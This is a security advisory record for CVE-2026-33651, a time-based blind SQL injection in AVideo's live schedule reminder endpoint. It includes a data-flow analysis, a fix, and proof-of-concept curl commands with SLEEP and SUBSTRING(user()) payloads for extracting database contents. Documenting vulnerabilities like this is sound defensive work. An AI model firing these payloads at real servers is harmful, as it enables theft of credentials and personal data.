{"id":"CVE-2026-33651","aliases":["GHSA-pvw4-p2jm-chjm"],"url":"https://o3.security/vulnerability/CVE-2026-33651","summary":"AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()","details":"## Summary\n\nThe `remindMe.json.php` endpoint passes `$_REQUEST['live_schedule_id']` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.\n\n## Details\n\nThe vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:\n\n**Step 1 — User input (no sanitization):**\n`plugin/Live/remindMe.json.php:15`:\n```php\n$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);\n```\n\n**Step 2 — Auth check passes for any user:**\n`plugin/Live/Live.php:4126`:\n```php\nif (!User::isLogged()) {\n    $obj->msg = __('Must be logged');\n    return $obj;\n}\n```\n\n**Step 3 — intval() applied only internally, original variable unchanged:**\n`plugin/Live/Live.php:4141-4143`:\n```php\n$ls = new Live_schedule($live_schedule_id);  // intval() inside getFromDb() only\n$users_id = Live_schedule::getUsers_idOrCompany($live_schedule_id);  // same\n```\n\n`objects/Object.php:84` (inside `getFromDb()`):\n```php\n$id = intval($id);  // sanitizes the LOCAL parameter, not the caller's variable\n```\n\nWith input like `1\" AND SLEEP(5) --`, `intval()` extracts `1`, loads schedule ID 1 successfully. The caller's `$live_schedule_id` remains `1\" AND SLEEP(5) --`.\n\n**Step 4 — Tainted value flows to type string construction:**\n`plugin/Live/Live.php:4152` → `Live.php:4193-4194`:\n```php\n$reminders = self::getLiveScheduleReminders($live_schedule_id);\n\n// getLiveScheduleReminders calls:\n$type = self::getLiveScheduleReminderBaseNameType($live_schedule_id);\n// which builds: \"LiveScheduleReminder_{$to_users_id}_{$live_schedule_id}\"\nreturn Scheduler_commands::getAllActiveOrToRepeat($type);\n```\n\n**Step 5 — SQL injection sink:**\n`plugin/Scheduler/Objects/Scheduler_commands.php:340-347`:\n```php\n$sql = \"SELECT * FROM \" . static::getTableName() . \" WHERE (status='a' OR status='r') \";\nif(!empty($type)){\n    $sql .= ' AND `type` LIKE \"'.$type.'%\" ';  // LINE 343: direct concatenation\n}\n$res = sqlDAL::readSql($sql);  // LINE 347: no parameterization\n```\n\n## PoC\n\n**Prerequisites:** Any authenticated user session, at least one `live_schedule` record (ID=1).\n\n**Step 1 — Baseline request (should return quickly):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=<valid_session>\" \\\n  \"http://target/plugin/Live/remindMe.json.php?live_schedule_id=1&minutesEarlier=10\"\n```\nExpected: response in ~0.1-0.5s\n\n**Step 2 — Time-based injection (5 second delay):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=<valid_session>\" \\\n  --get --data-urlencode 'live_schedule_id=1\" AND SLEEP(5) -- ' \\\n  --data-urlencode 'minutesEarlier=10' \\\n  \"http://target/plugin/Live/remindMe.json.php\"\n```\nExpected: response delayed by ~5 seconds, confirming injection.\n\nThe resulting SQL becomes:\n```sql\nSELECT * FROM scheduler_commands\nWHERE (status='a' OR status='r')\n  AND `type` LIKE \"LiveScheduleReminder_123_1\" AND SLEEP(5) -- %\"\n```\n\n**Step 3 — Data extraction (example: first character of database user):**\n```bash\ncurl -s -o /dev/null -w \"%{time_total}\" \\\n  -b \"PHPSESSID=<valid_session>\" \\\n  --get --data-urlencode 'live_schedule_id=1\" AND IF(SUBSTRING(user(),1,1)=\"r\",SLEEP(5),0) -- ' \\\n  --data-urlencode 'minutesEarlier=10' \\\n  \"http://target/plugin/Live/remindMe.json.php\"\n```\nIf the response is delayed 5 seconds, the first character of `user()` is `r`.\n\n## Impact\n\n- **Full database read**: An attacker with any authenticated session can extract all database contents character-by-character using time-based blind techniques, including admin credentials, user PII (emails, passwords), API keys, and session tokens.\n- **Data modification**: Depending on MySQL permissions, stacked queries or subquery-based writes could allow INSERT/UPDATE/DELETE operations.\n- **Account takeover**: Extracted admin password hashes or session tokens enable full platform compromise.\n- **Low barrier**: Only requires a basic authenticated account — no admin privileges needed.\n\n## Recommended Fix\n\n**Option 1 — Parameterize the query in `Scheduler_commands::getAllActiveOrToRepeat()`:**\n\n`plugin/Scheduler/Objects/Scheduler_commands.php:335-347`:\n```php\npublic static function getAllActiveOrToRepeat($type='') {\n    global $global;\n    if (!static::isTableInstalled()) {\n        return false;\n    }\n    $sql = \"SELECT * FROM \" . static::getTableName() . \" WHERE (status=? OR status=?) \";\n    $formats = \"ss\";\n    $values = [self::$statusActive, self::$statusRepeat];\n\n    if(!empty($type)){\n        $sql .= ' AND `type` LIKE ? ';\n        $formats .= \"s\";\n        $values[] = $type . \"%\";\n    }\n\n    $sql .= self::getSqlFromPost();\n    $res = sqlDAL::readSql($sql, $formats, $values);\n    $fullData = sqlDAL::fetchAllAssoc($res);\n    sqlDAL::close($res);\n    $rows = array();\n    if ($res != false) {\n        foreach ($fullData as $row) {\n            $rows[] = $row;\n        }\n    }\n    return $rows;\n}\n```\n\n**Option 2 — Additionally sanitize at the entry point:**\n\n`plugin/Live/remindMe.json.php:15` (defense in depth):\n```php\n$_REQUEST['live_schedule_id'] = intval($_REQUEST['live_schedule_id']);\n$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);\n```\n\nBoth fixes should be applied for defense in depth.","published":"2026-03-23T18:38:22.655Z","modified":"2026-10-28T02:30:45.707181633Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"wwbn/avideo","fixedVersion":null}],"fix":{"url":"https://github.com/WWBN/AVideo/commit/75d45780728294ededa1e3f842f95295d3e7d144","label":"WWBN/AVideo@75d4578"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33651.json"},{"type":"ADVISORY","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-pvw4-p2jm-chjm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33651"},{"type":"FIX","url":"https://github.com/WWBN/AVideo/commit/75d45780728294ededa1e3f842f95295d3e7d144"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:45.707181633Z"}}